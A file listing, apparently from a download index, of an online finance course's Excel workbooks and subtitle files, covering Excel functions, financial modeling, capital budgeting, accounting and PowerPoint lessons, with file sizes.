    4. Microsoft Excel - Best Practices That Will Make a Difference/6.1 F5 go to.xlsm.xlsm 50.76 KB
    11. Modeling in Excel - Building a complete 3-statement model/8.1 1.8_before.xlsx.xlsx 50.28 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/11.2 10. Mapping_after.xlsm.xlsm 50.24 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/12.1 11. Building a P&L_before.xlsm.xlsm 50.24 KB
    11. Modeling in Excel - Building a complete 3-statement model/7.2 1.7_before.xlsx.xlsx 49.8 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/11.1 10. Mapping_before.xlsm.xlsm 49.68 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/8.2 8. Sumif_after.xlsm.xlsm 49.53 KB
    11. Modeling in Excel - Building a complete 3-statement model/6.2 1.6_before.xlsx.xlsx 47.5 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/2.1 3. Enlarge the formula bar.xlsm.xlsm 46.89 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/7.1 7. Vlookup_after.xlsm.xlsm 44.45 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/8.1 8. Sumif_before.xlsm.xlsm 44.45 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5.1 03 18 Fast Scrolling Solved.xlsx.xlsx 44.35 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5.4 03 18 Fast Scrolling Exercise & Text.xlsx.xlsx 43.9 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/4.2 4. Order a worksheet_before.xlsm.xlsm 43.08 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/3.1 3. Get to know the data source.xlsm.xlsm 43.03 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/5.2 5. Creating a code_after.xlsm.xlsm 41.73 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/6.1 6. Creating a database_before.xlsm.xlsm 41.73 KB
    11. Modeling in Excel - Building a complete 3-statement model/5.2 1.5_after.xlsx.xlsx 41.73 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/25.1 14. Clarification - conditional formatting.xlsx.xlsx 41.73 KB
    11. Modeling in Excel - Building a complete 3-statement model/3.2 1.3_after.xlsx.xlsx 41.48 KB
    11. Modeling in Excel - Building a complete 3-statement model/4.2 1.4_after.xlsx.xlsx 41.26 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/9.2 9. Index Match_before.xlsm.xlsm 41.01 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/4.1 4. Order a worksheet_after.xlsm.xlsm 41.01 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/5.1 5. Creating a code_before.xlsm.xlsm 41.01 KB
    41. Capital Budgeting - A Complete Case Study/12.2 10. Sensitivity analysis.xlsx.xlsx 40.75 KB
    41. Capital Budgeting - A Complete Case Study/11.2 9. Discounted cash flow.xlsx.xlsx 39.66 KB
    41. Capital Budgeting - A Complete Case Study/12.1 10. Sensitivity analysis_unsolved.xlsx.xlsx 39.66 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/7.2 7. Vlookup_before.xlsm.xlsm 39.5 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/6.2 6. Creating a database_after.xlsm.xlsm 39.39 KB
    11. Modeling in Excel - Building a complete 3-statement model/5.1 1.5_before.xlsx.xlsx 39.27 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/20.2 4. Find and Replace references_before.xlsx.xlsx 38.79 KB
    41. Capital Budgeting - A Complete Case Study/11.1 9. Discounted cash flow_unsolved.xlsx.xlsx 38.72 KB
    41. Capital Budgeting - A Complete Case Study/10.2 8. WACC.xlsx.xlsx 38.03 KB
    41. Capital Budgeting - A Complete Case Study/9.1 8. WACC.xlsx.xlsx 38.03 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/20.1 4. Find and Replace references_after.xlsx.xlsx 37.91 KB
    11. Modeling in Excel - Building a complete 3-statement model/4.1 1.4_before.xlsx.xlsx 37.63 KB
    41. Capital Budgeting - A Complete Case Study/10.1 8. WACC_unsolved.xlsx.xlsx 35.93 KB
    41. Capital Budgeting - A Complete Case Study/9.2 8. WACC_unsolved.xlsx.xlsx 35.93 KB
    11. Modeling in Excel - Building a complete 3-statement model/2.2 1.2_after.xlsx.xlsx 34.24 KB
    2. Microsoft Excel - Quick Introduction/6.1 02 7 Basic Manipulations Solved.xlsx.xlsx 32.87 KB
    2. Microsoft Excel - Quick Introduction/3.3 02 9 Data Entry Solved.xlsx.xlsx 32.76 KB
    11. Modeling in Excel - Building a complete 3-statement model/1.2 1.1_after.xlsx.xlsx 32.72 KB
    11. Modeling in Excel - Building a complete 3-statement model/3.1 1.3_before.xlsx.xlsx 32.36 KB
    41. Capital Budgeting - A Complete Case Study/8.2 7. Cash flow.xlsx.xlsx 31.36 KB
    41. Capital Budgeting - A Complete Case Study/7.1 6. P&L.xlsx.xlsx 31.03 KB
    41. Capital Budgeting - A Complete Case Study/6.1 5. Financing.xlsx.xlsx 30.97 KB
    11. Modeling in Excel - Building a complete 3-statement model/2.1 1.2_before.xlsx.xlsx 30.45 KB
    41. Capital Budgeting - A Complete Case Study/6.2 5. Financing_unsolved.xlsx.xlsx 29.99 KB
    41. Capital Budgeting - A Complete Case Study/7.2 6. P&L_unsolved.xlsx.xlsx 29.7 KB
    41. Capital Budgeting - A Complete Case Study/8.1 7. Cash flow_unsolved.xlsx.xlsx 29.64 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/10.3 03 24 Select Special (F5) Solved.xlsx.xlsx 22.27 KB
    41. Capital Budgeting - A Complete Case Study/5.2 4. Working Capital.xlsx.xlsx 21.93 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/10.2 03 24 Select Special (F5) Exercise & Text.xlsx.xlsx 21.59 KB
    41. Capital Budgeting - A Complete Case Study/5.1 4. Working Capital_unsolved.xlsx.xlsx 21.19 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/4.2 Exercise - Part Four.xlsx.xlsx 20.7 KB
    6. Microsoft Excel - Financial functions in Excel/3.1 05 15 PMT.xlsx.xlsx 20.17 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/2.2 Exercise - Part Two.xlsx.xlsx 20.09 KB
    41. Capital Budgeting - A Complete Case Study/4.1 3. Fixed Asset Rollforward.xlsx.xlsx 19.66 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/3.2 Exercise - Part Three.xlsx.xlsx 19.29 KB
    11. Modeling in Excel - Building a complete 3-statement model/1.3 1.1_before.xlsx.xlsx 18.74 KB
    41. Capital Budgeting - A Complete Case Study/4.2 3. Fixed Asset Rollforward_unsolved.xlsx.xlsx 18.54 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/1.2 IF function_after.xlsm.xlsm 17.94 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/1.2 Exercise Part One.xlsx.xlsx 17.44 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/19.2 1. Multiply by 1_after.xlsx.xlsx 17.21 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/21.1 5. Find replace_after.xlsx.xlsx 17.19 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/21.2 5. Find replace_before.xlsx.xlsx 17.19 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/23.1 7. Beauty saving_before.xlsx.xlsx 17.17 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/1.1 Exercise - Before Solutions.xlsx.xlsx 17.13 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/23.2 7. Beauty saving_after.xlsx.xlsx 17.05 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/10.2 Show that = and + are interchangeable_after.xlsm.xlsm 17.04 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/10.1 Show that = and + are interchangeable_before.xlsm.xlsm 17.01 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/1.1 IF function_before.xlsm.xlsm 17 KB
    41. Capital Budgeting - A Complete Case Study/3.2 2. Savings Forecast.xlsx.xlsx 16.58 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/19.1 1. Multiply by 1_before.xlsx.xlsx 16.47 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18.3 05 47 Goal Seek Solved.xlsx.xlsx 16.21 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/4.2 05-38-Counts-Solved.xlsx.xlsx 16.11 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18.4 05 47 Goal Seek Exercise & Text.xlsx.xlsx 16.09 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15.5 05 45 IFERROR Solved.xlsx.xlsx 15.37 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/4.4 05 38 Counts Exercise & Text.xlsx.xlsx 15.26 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5.1 05 39 Average, AverageIF Solution.xlsx.xlsx 15.02 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3.2 05 37 Sum, Sumif, Sumifs Solved.xlsx.xlsx 14.84 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9.1 05 41 MIN MAX Solved.xlsx.xlsx 14.8 KB
    41. Capital Budgeting - A Complete Case Study/3.1 2. Savings Forecast_unsolved.xlsx.xlsx 14.74 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5.3 05 39 Average, AverageIF Exercise & Text.xlsx.xlsx 14.6 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3.5 05 37 Sum, Sumif, Sumifs Exercise & Text.xlsx.xlsx 14.46 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9.4 05 41 MIN MAX Exercise & Text.xlsx.xlsx 14.39 KB
    42. Tesla practical case study - Building a financial planning model/3. Forecasting Tesla's expected deliveries.vtt 14.34 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15.2 05 45 IFERROR Exercise & Text.xlsx.xlsx 14.26 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/1.3 P&G Financials.xlsx.xlsx 14.23 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/2.1 P&G Financials.xlsx.xlsx 14.23 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12.5 05 43 Vlookup, Hlookup Solved.xlsx.xlsx 14.19 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/1.2 P&G Financials_WithRatios.xlsx.xlsx 13.93 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/2.4 P&G Financials_WithRatios.xlsx.xlsx 13.93 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12.1 Dynamic Naming - Solved.xlsx.xlsx 13.83 KB
    35. Working capital management/10.2 Working capital test_solved.xlsx.xlsx 13.58 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12.4 Dynamic Naming – Unsolved.xlsx.xlsx 13.54 KB
    2. Microsoft Excel - Quick Introduction/13.1 02 14 Paste Special Exercise & Text.xlsx.xlsx 13.47 KB
    2. Microsoft Excel - Quick Introduction/13.3 02 14 Paste Special Solved.xlsx.xlsx 13.46 KB
    2. Microsoft Excel - Quick Introduction/10.3 02 12 Functions Exercise & Text.xlsx.xlsx 13.26 KB
    8. Microsoft Excel - Building Professional Charts in Excel/5.1 Bridge Charts.xlsx.xlsx 13.1 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/20.3 05 48 Sensitivity Analysis Solved.xlsx.xlsx 13.05 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3.1 Sum, Sumif, Sumifs – Solved.xlsx.xlsx 13.01 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3.3 Sum, Sumif, Sumifs - Unsolved.xlsx.xlsx 12.93 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/1.4 P&G Financials_Before.xlsx.xlsx 12.79 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/2.3 P&G Financials_Before.xlsx.xlsx 12.79 KB
    35. Working capital management/10.1 Working capital test_unsolved.xlsx.xlsx 12.7 KB
    8. Microsoft Excel - Building Professional Charts in Excel/6.1 Treemap Charts.xlsx.xlsx 12.62 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/16.2 RANK function_after.xlsx.xlsx 12.61 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/20.4 05 48 Sensitivity Analysis Exercise & Text.xlsx.xlsx 12.59 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/3.3 How to save macros_after.xlsm.xlsm 12.59 KB
    2. Microsoft Excel - Quick Introduction/11.2 02 13 Copy Cut Paste Solved.xlsx.xlsx 12.56 KB
    24. Advanced Accounting - Inventory/4.3 Inventory Cost Flow Methods_solved.xlsx.xlsx 12.38 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/16.1 RANK function_before.xlsx.xlsx 12.27 KB
    6. Microsoft Excel - Financial functions in Excel/4.1 05 16 Date Functions.xlsx.xlsx 12.25 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/6.4 05 40 2 Left, Right etc Solved.xlsx.xlsx 12.24 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13.1 05 44 Index, Match Solved.xlsx.xlsx 12.08 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/22.1 6. Green references.xlsx.xlsx 12 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12.3 05 43 Vlookup, Hlookup Exercise & Text.xlsx.xlsx 11.95 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12.3 03 25 Assigning Dynamic Names Solved.xlsx.xlsx 11.73 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17.1 05 46 Choose Solved.xlsx.xlsx 11.73 KB
    2. Microsoft Excel - Quick Introduction/8.4 02 11 Formulas Exercise Text.xlsx.xlsx 11.72 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/11.2 05 42 Round Solved.xlsx.xlsx 11.71 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/6.2 05 40 2 Left, Right etc Exercise & Text.xlsx.xlsx 11.71 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13.4 Index & Match – Solved.xlsx.xlsx 11.7 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14.4 03 26 Defining a Named Range Solved.xlsx.xlsx 11.65 KB
    2. Microsoft Excel - Quick Introduction/4.3 02 10 Formatting Exercise Text.xlsx.xlsx 11.61 KB
    2. Microsoft Excel - Quick Introduction/4.5 02 10 Formatting Solved.xlsx.xlsx 11.59 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13.2 05 44 Index, Match Exercise & Text.xlsx.xlsx 11.59 KB
    24. Advanced Accounting - Inventory/4.2 Inventory Cost Flow Methods_unsolved.xlsx.xlsx 11.53 KB
    41. Capital Budgeting - A Complete Case Study/2.1 1. Drivers.xlsx.xlsx 11.5 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17.2 03 30 Custom Sort Solved.xlsx.xlsx 11.46 KB
    3. Microsoft Excel - Useful Tools/4.3 Set Print Area – Unsolved.xlsx.xlsx 11.42 KB
    2. Microsoft Excel - Quick Introduction/6.2 02 7 Basic Manipulations Exercise Text.xlsx.xlsx 11.4 KB
    3. Microsoft Excel - Useful Tools/1.4 03 20 Alt+Enter Solved.xlsx.xlsx 11.4 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17.1 03 30 Custom Sort Exercise & Text.xlsx.xlsx 11.37 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/15.3 03 27 Assigning Custom Formats Exercise & Text.xlsx.xlsx 11.35 KB
    2. Microsoft Excel - Quick Introduction/11.1 02 13 Copy Cut Paste Exercise Text.xlsx.xlsx 11.34 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/11.1 05 42 Round Exercise & Text.xlsx.xlsx 11.34 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16.2 03 29 Drop-down List Exercise & Text.xlsx.xlsx 11.34 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/1. Case Study - The Accounting Transactions of a Lemonade Stand (14).vtt 11.33 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17.4 05 46 Choose Exercise & Text.xlsx.xlsx 11.32 KB
    3. Microsoft Excel - Useful Tools/2.2 03 21 Text to Columns Solved.xlsx.xlsx 11.3 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13.3 Index & Match - Unsolved.xlsx.xlsx 11.29 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/4.3 Count, Countif, Countifs – Unsolved.xlsx.xlsx 11.29 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12.2 03 25 Assigning Dynamic Names Exercise & Text.xlsx.xlsx 11.23 KB
    3. Microsoft Excel - Useful Tools/4.1 Set Print Area - Solved.xlsx.xlsx 11.22 KB
    6. Microsoft Excel - Financial functions in Excel/2.1 05 14 IRR.xlsx.xlsx 11.2 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2.3 Creating a Macro - Solved.xlsx.xlsx 11.17 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12.4 Vlookup, Hlookup – Solved.xlsx.xlsx 11.13 KB
    3. Microsoft Excel - Useful Tools/1.5 03 20 Alt+Enter Exercise & Text.xlsx.xlsx 11.12 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/6.1 Text Functions - Solved.xlsx.xlsx 11.1 KB
    28. Advanced Accounting - Leasing Liabilties/2.3 Leasing-Exercise-2-Solved.xlsx.xlsx 11.09 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/15.2 03 27 Assigning Custom Formats Solved.xlsx.xlsx 11.08 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14.5 03 26 Defining a Named Range Exercise & Text.xlsx.xlsx 11.07 KB
    2. Microsoft Excel - Quick Introduction/3.1 02 9 Data Entry Exercise Text.xlsx.xlsx 10.97 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/8.1 Work with text_after.xlsx.xlsx 10.91 KB
    2. Microsoft Excel - Quick Introduction/2.3 02 6 Overview of Excel Solved.xlsx.xlsx 10.88 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16.5 Data Validation - Solved.xlsx.xlsx 10.84 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16.3 Data Validation – Unsolved.xlsx.xlsx 10.84 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8.5 03 19 Fixing Cells Solved.xlsx.xlsx 10.82 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1.3 03 17 Formatting a Worksheet Solved.xlsx.xlsx 10.76 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12.1 Vlookup, Hlookup - Unsolved.xlsx.xlsx 10.74 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8.4 03 19 Fixing Cells Exercise & Text.xlsx.xlsx 10.67 KB
    6. Microsoft Excel - Financial functions in Excel/1.1 05-12-FV-PV_revised.xlsx.xlsx 10.64 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1.5 03 17 Formatting a Worksheet Exercise & Text.xlsx.xlsx 10.63 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/6.3 Text Functions - Unsolved.xlsx.xlsx 10.6 KB
    3. Microsoft Excel - Useful Tools/2.5 03 21 Text to Columns Exercise & Text.xlsx.xlsx 10.57 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/10.1 Select Special.xlsx.xlsx 10.56 KB
    34. Financial Statement Analysis - Tesla exercise/3. Calculating and analyzing growth and profitability ratios.vtt 10.5 KB
    2. Microsoft Excel - Quick Introduction/2.1 02 6 Overview of Excel Exercise & Text.xlsx.xlsx 10.47 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2.5 03 28 Macros Exercise & Text.xlsx.xlsx 10.34 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14.2 Naming ranges - Solved.xlsx.xlsx 10.34 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/8.2 Work with text_before.xlsx.xlsx 10.33 KB
    3. Microsoft Excel - Useful Tools/5.2 03 22 Wrap Text Solved.xlsx.xlsx 10.2 KB
    3. Microsoft Excel - Useful Tools/5.3 03 22 Wrap Text Exercise & Text.xlsx.xlsx 10.17 KB
    35. Working capital management/2. The importance of working capital optimization case study.vtt 10.16 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5.3 Fast scrolling – Unsolved.xlsx.xlsx 10.06 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5.5 Fast scrolling - Solved.xlsx.xlsx 10.01 KB
    35. Working capital management/4. Trade receivables management.vtt 9.93 KB
    3. Microsoft Excel - Useful Tools/2.3 Text to columns - Solved.xlsx.xlsx 9.9 KB
    38. Finance 101 - The Value of Cash Flows with Different Timing/1.2 3.1 Present Value of Cash Flows.xlsx.xlsx 9.85 KB
    2. Microsoft Excel - Quick Introduction/4.4 Formatting - Solved.xlsx.xlsx 9.85 KB
    3. Microsoft Excel - Useful Tools/2.4 Text to columns – Unsolved.xlsx.xlsx 9.76 KB
    1. Welcome! Course Introduction/2.1 Quick win.xlsx.xlsx 9.74 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17.2 Choose - Solved.xlsx.xlsx 9.69 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2.4 Creating a Macro - Unsolved.xlsx.xlsx 9.66 KB
    3. Microsoft Excel - Useful Tools/1.3 Alt + Enter - Solved.xlsx.xlsx 9.65 KB
    3. Microsoft Excel - Useful Tools/1.1 Alt + Enter – Unsolved.xlsx.xlsx 9.64 KB
    28. Advanced Accounting - Leasing Liabilties/2.2 Leasing Exercise 2 - Unsolved.xlsx.xlsx 9.63 KB
    3. Microsoft Excel - Useful Tools/5.4 Wrap text – Unsolved.xlsx.xlsx 9.61 KB
    3. Microsoft Excel - Useful Tools/5.5 Wrap text - Solved.xlsx.xlsx 9.61 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15.3 Iferror.xlsx.xlsx 9.61 KB
    8. Microsoft Excel - Building Professional Charts in Excel/7.1 Sparklines.xlsx.xlsx 9.59 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1.1 Formatting a worksheet - Solved.xlsx.xlsx 9.56 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/20.2 Data Tables - Solved.xlsx.xlsx 9.46 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15.4 Iferror – Unsolved.xlsx.xlsx 9.41 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5.5 Average, Averageif - Solved.xlsx.xlsx 9.4 KB
    2. Microsoft Excel - Quick Introduction/8.3 Formulas - Solved.xlsx.xlsx 9.36 KB
    2. Microsoft Excel - Quick Introduction/10.1 Functions - Solved.xlsx.xlsx 9.34 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17.5 Choose – Unsolved.xlsx.xlsx 9.33 KB
    2. Microsoft Excel - Quick Introduction/8.5 Formulas – Unsolved.xlsx.xlsx 9.3 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/20.1 Data Tables – Unsolved.xlsx.xlsx 9.25 KB
    2. Microsoft Excel - Quick Introduction/10.4 Functions – Unsolved.xlsx.xlsx 9.24 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9.5 Max, min – Solved.xlsx.xlsx 9.23 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5.4 Average, Averageif – Unsolved.xlsx.xlsx 9.03 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1.2 Formatting a worksheet – Unsolved.xlsx.xlsx 8.98 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9.2 Max, min - Unsolved.xlsx.xlsx 8.95 KB
    2. Microsoft Excel - Quick Introduction/4.1 Formatting - Unsolved.xlsx.xlsx 8.91 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18.5 Goal Seek - Solved.xlsx.xlsx 8.86 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18.2 Goal Seek – Unsolved.xlsx.xlsx 8.85 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/3.2 Another file.xlsx.xlsx 8.81 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14.3 Naming ranges – Unsolved.xlsx.xlsx 8.79 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/2. Case Study - The Accounting Transactions of a Lemonade Stand (24).vtt 8.51 KB
    32. Financial Statement Analysis - Subtleties/5. Using Accounting Ratios to Assess Business Performance.vtt 8.11 KB
    2. Microsoft Excel - Quick Introduction/3.2 Data Entry.xlsx.xlsx 8.07 KB
    2. Microsoft Excel - Quick Introduction/6.3 Data Entry.xlsx.xlsx 8.07 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/3. Case Study - The Accounting Transactions of a Lemonade Stand (34).vtt 7.87 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12. Excel's Lookup Functions Vlookup & Hlookup Made Easy.vtt 7.85 KB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/5. Calculating Cash Flow in practice A complete example.vtt 7.73 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13. Index, Match, and Their Combination - The Perfect Substitute for Vlookup.vtt 7.67 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/7. Practical Exercise - Creating an Organisational Chart.vtt 7.47 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/4. Case Study - The Accounting Transactions of a Lemonade Stand (44).vtt 7.47 KB
    40. Capital Budgeting - Basic notions/5. Cost of Equity.vtt 7.44 KB
    34. Financial Statement Analysis - Tesla exercise/4. Calculating and analyzing liquidity ratios.vtt 7.38 KB
    41. Capital Budgeting - A Complete Case Study/10. Estimating cost of equity.vtt 7.16 KB
    31. Financial Statement Analysis - An Introduction/2. Finding, Downloading and Going Through the Annual Report of P&G.vtt 7.12 KB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/2. Raising equity in different stages of a company's lifecycle.vtt 7.11 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/5. Calculating Cash flows and completing the model.vtt 7.06 KB
    1. Welcome! Course Introduction/1. What Does the Course Cover.vtt 7.06 KB
    22. Accounting - The Importance of Timing/2. Timing of Income Principles of Revenue Recognition.vtt 6.73 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/8. GetPivotData is great! Extracting data from the Master Pivot Table.vtt 6.72 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/1. Case Study - Calculating Ratios and Analyzing P&G's Financials (12).vtt 6.71 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/5. Types of expenses.vtt 6.68 KB
    40. Capital Budgeting - Basic notions/9. Modeling Future Cash Flows.vtt 6.68 KB
    39. Finance 101 - Loan Calculations/2. Calculating a Complete Loan Schedule.vtt 6.58 KB
    6. Microsoft Excel - Financial functions in Excel/1. Discounting cash flows in Microsoft Excel.vtt 6.31 KB
    40. Capital Budgeting - Basic notions/4. Calculating Present and Future Value.vtt 6.27 KB
    16. Accounting - Revenue recognition/2. The importance of timing when recognizing revenues.vtt 6.27 KB
    16. Accounting - Revenue recognition/5. A practical example.vtt 6.24 KB
    41. Capital Budgeting - A Complete Case Study/2. Organizing inputs in the Drivers sheet.vtt 6.22 KB
    19. Accounting - The Core Principles of Accounting/6. The Double-Entry Principle - The Core Principle of Bookkeeping.vtt 6.21 KB
    35. Working capital management/7. Inventory optimization techniques.vtt 6.18 KB
    14. Accounting - Introduction to Accounting & Bookkeeping/2. What is Accounting and Why Do You Need It.vtt 6.13 KB
    42. Tesla practical case study - Building a financial planning model/13. Building a fixed asset roll forward estimating Capex.vtt 6.1 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/3.1 How to save macros_before.xlsx.xlsx 6.02 KB
    35. Working capital management/9. Working capital optimization - a roadmap.vtt 5.97 KB
    6. Microsoft Excel - Financial functions in Excel/3. Using the PMT function to create a complete loan schedule.vtt 5.85 KB
    42. Tesla practical case study - Building a financial planning model/20. Forecasting Unlevered Free Cash Flow.vtt 5.79 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/2. Building a Financial liabilities schedule.vtt 5.75 KB
    25. Advanced Accounting - Fixed Assets/5. The revaluation model.vtt 5.64 KB
    22. Accounting - The Importance of Timing/4. The Four Type of Accruals Arising in Accounting Transactions.vtt 5.59 KB
    25. Advanced Accounting - Fixed Assets/6. The revaluation model - practical exercise.vtt 5.56 KB
    6. Microsoft Excel - Financial functions in Excel/4. Date functions in Excel.vtt 5.53 KB
    24. Advanced Accounting - Inventory/3. Cost flow methods.vtt 5.53 KB
    19. Accounting - The Core Principles of Accounting/5. How to Calculate Depreciation Expense.vtt 5.51 KB
    38. Finance 101 - The Value of Cash Flows with Different Timing/1. Calculating the Present Value of Future Cash Flows.vtt 5.49 KB
    43. PowerPoint - Introduction to PowerPoint/2. The Structure of the PowerPoint Ribbon.vtt 5.49 KB
